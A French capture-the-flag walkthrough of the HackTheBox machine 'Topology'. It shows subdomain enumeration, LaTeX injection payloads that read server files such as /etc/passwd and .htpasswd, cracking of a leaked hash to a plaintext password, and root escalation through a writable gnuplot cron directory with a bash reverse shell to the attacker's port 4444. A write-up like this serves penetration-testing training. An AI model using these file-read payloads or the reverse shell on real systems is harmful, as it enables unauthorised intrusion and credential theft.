HACKTHEBOX - TOPOLOGY
Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration web
On constate une page simple, sans trop de choses. On teste un lien avec comme aperçu "LaTeX Equation Generator".
Ce lien nous mène sur un sous domaine :
http://latex.topology.htb/equation.php
On le renseigne dans notre /etc/hosts
En parallèle, nous renseignons notre fichier host avec les sous domaines que nous avons trouvé avec notre énumération de sous domaines :
Output gobuster
gobuster dns -d topology.htb -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: topology.htb
[+] Threads: 100
[+] Timeout: 1s
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.topology.htb
Found: stats.topology.htb
Found: latex.topology.htb
Progress: 100000 / 100001 (100.00%)
===============================================================
Finished
===============================================================
Notre fichier hosts ressemble donc à cela :
Output
127.0.0.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
#topology
10.10.11.217 topology.htb dev.topology.htb stats.topology.htb latex.topology.htb
- Sous domaine stats.topology.htb
- Sous domaine dev.topology.htb
- Sous domaine latex.topology.htb
Nous ne voyons pas beaucoup de choses, si ce n'est qu'un graphique d'utilisation du serveur :
Dans ce sous-domaine, nous avons une mire d'authentification :
Ici nous avons une page ou nous pouvons mettre une commande LaTeX, et elle sera interprétée pour nous donner une image correspondant au code LaTeX
Foothold et user
LFI (Local File Inclusion) via LaTeX
Sur le sous-domaine dev.topology.htb
on peut essayer de leaker des fichiers locaux, par exemple /etc/passwd
:
Malheureusement, il y a un filtre qui nous empêche de le faire :
En regardant des payloads dans https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/LaTeX%20Injection/#read-file , on trouve un payload qui nous permet de faire une LFI partielle, soit la première ligne d'un fichier :
\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file
Seul problème, ce payload ne nous permet pas de leaker quelquonque fichier en entier. Nous cherchons un autre payload qui pourrait nous aider a faire une LFI complète.
$\lstinputlisting{/etc/passwd}$
Nous nous souvenons que nous avons un sous domaine dev.topology.htb, qui contient une mire d'authentification. Essayons de leaker des fichiers correspondant à ce sous domaine :
$\lstinputlisting{/var/www/dev/.htaccess}$
Nous avons donc un fichier .htaccess, qui contient la configuration de cette mire d'authentification. Ce dernier spécifie un fichier .htpasswd qui contient probablement les hash des mots de passes de dev.topology.htb
:
$\lstinputlisting{/var/www/dev/.htpasswd}$
Cracking du hash
Nous avons un hash, que nous pouvons essayer de casser avec john :
Hash à casser
vdaisley:$apr1$10NUB/S2$58eeNVirnRDB5zAIbIxTY0
Output john
john hash.htpasswd --format=md5crypt --show
vdaisley:calculus20
1 password hash cracked, 0 left
Nous trouvons le mot de passe de vdaisley, qui peut être utilisé pour se connecter en SSH
Privilege Escalation via .plt file
Sur la machine, nous lançons un linpeas, mais nous ne trouvons rien d'intéressant. Cependant, si nous lançons un pspy
(https://github.com/DominicBreuker/pspy), nous remarquons qu'un CRON est en marche :
Output pspy
2023/10/13 11:38:01 CMD: UID=0 PID=58183 | /usr/sbin/CRON -f
2023/10/13 11:38:01 CMD: UID=0 PID=58186 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58185 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58189 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58188 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58187 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58190 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58191 | /usr/sbin/CRON -f
2023/10/13 11:38:01 CMD: UID=0 PID=58192 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/10/13 11:38:01 CMD: UID=0 PID=58197 | sed s/,//g
2023/10/13 11:38:01 CMD: UID=0 PID=58196 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58195 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58194 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58193 | gnuplot /opt/gnuplot/loadplot.plt
2023/10/13 11:38:01 CMD: UID=0 PID=58199 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58200 | gnuplot /opt/gnuplot/networkplot.plt
L'UID est à 0, donc c'est le user root
qui lance ces commandes.
Cette commande est très intéressante :
find /opt/gnuplot -name *.plt -exec gnuplot {} ;
Cela veut dire que tous les fichiers .plt sur le dossier /opt/gnuplot
sont exécutés par gnuplot en root. Mais avons nous les droits d'écriture sur ce dossier ?
Output ls
ls -alh /opt
total 12K
drwxr-xr-x 3 root root 4.0K May 19 13:04 .
drwxr-xr-x 18 root root 4.0K Jun 12 10:37 ..
drwx-wx-wx 2 root root 4.0K Oct 12 16:50 gnuplot
Nous n'avons pas les droits de lister les fichiers en tant que vdaisley
, mais nous avons les droits d'écriture ! Il est possible d'élever nos privilèges si nous arrivons à faire exécuter un fichier .plt malveillant.
A l'aide du site https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/ , nous pouvons créer un fichier .plt malveillant qui nous fera un reverse shell :
- Sur la machine victime
- Sur notre machine
Nous écrivons le fichier suivant à /opt/gnuplot/reverse.plt
:
Contenu reverse.plt
system "whoami"
# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/votreip/4444 0>&1'"
Puis le script sera lancé tous les ~1 minutes nous donnant un reverse shell. Voici le résultat sur pspy
:
Output pspy
2023/11/25 20:17:01 CMD: UID=0 PID=1336 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/11/25 20:17:01 CMD: UID=0 PID=1338 | whoami
2023/11/25 20:17:01 CMD: UID=0 PID=1337 | sh -c whoami
2023/11/25 20:17:01 CMD: UID=0 PID=1339 | gnuplot /opt/gnuplot/reverse.plt
2023/11/25 20:17:01 CMD: UID=0 PID=1340 | sh -c bash -c 'bash -i >& /dev/tcp/10.10.16.2/4444 0>&1'
2023/11/25 20:17:01 CMD: UID=0 PID=1342 | /lib/systemd/systemd-udevd
2023/11/25 20:17:01 CMD: UID=0 PID=1341 | bash -c bash -i >& /dev/tcp/10.10.16.2/4444 0>&1
2023/11/25 20:17:02 CMD: UID=0 PID=1344 | bash -i
2023/11/25 20:17:02 CMD: UID=0 PID=1343 | /lib/systemd/systemd-udevd
2023/11/25 20:17:02 CMD: UID=0 PID=1345 | bash -i
2023/11/25 20:17:02 CMD: UID=0 PID=1348 | /bin/sh /usr/bin/lesspipe
2023/11/25 20:17:02 CMD: UID=0 PID=1347 | /bin/sh /usr/bin/lesspipe
2023/11/25 20:17:02 CMD: UID=0 PID=1349 |
Nous lançons un netcat en écoute sur le port 4444 et récupérons le shell root:
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.217] 37214
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
root@topology:~#